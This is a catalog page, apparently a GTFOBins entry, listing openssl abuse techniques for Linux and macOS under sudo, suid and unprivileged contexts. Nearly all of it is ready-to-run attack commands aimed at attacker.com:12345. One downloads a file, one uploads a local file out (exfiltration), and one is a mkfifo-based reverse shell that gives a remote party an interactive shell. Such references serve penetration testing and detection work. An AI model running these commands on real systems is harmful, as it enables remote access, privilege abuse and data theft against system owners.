Catalog GTFOBins

GTFO · Tool

openssl

21 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS
openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS
openssl s_client -quiet -connect attacker.com:12345 >/path/to/output-file
Context
suid
Native
download
MITRE
T1105

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

The shell process is not spawn by `openssl`.

mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind ShellPrivilege Escalation LinuxmacOS

The shell process is not spawn by `openssl`.

mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket
Context
suid
Native
reverse-shell

reverse-shell

Reverse/Bind Shell LinuxmacOS

The shell process is not spawn by `openssl`.

mkfifo /path/to/temp-socket
/bin/sh -i </path/to/temp-socket 2>&1 | openssl s_client -quiet -connect attacker.com:12345 >/path/to/temp-socket
Context
unprivileged
Native
reverse-shell

upload

File UploadPrivilege Escalation LinuxmacOS
openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS
openssl s_client -quiet -connect attacker.com:12345 </path/to/input-file
Context
suid
Native
upload
MITRE
T1041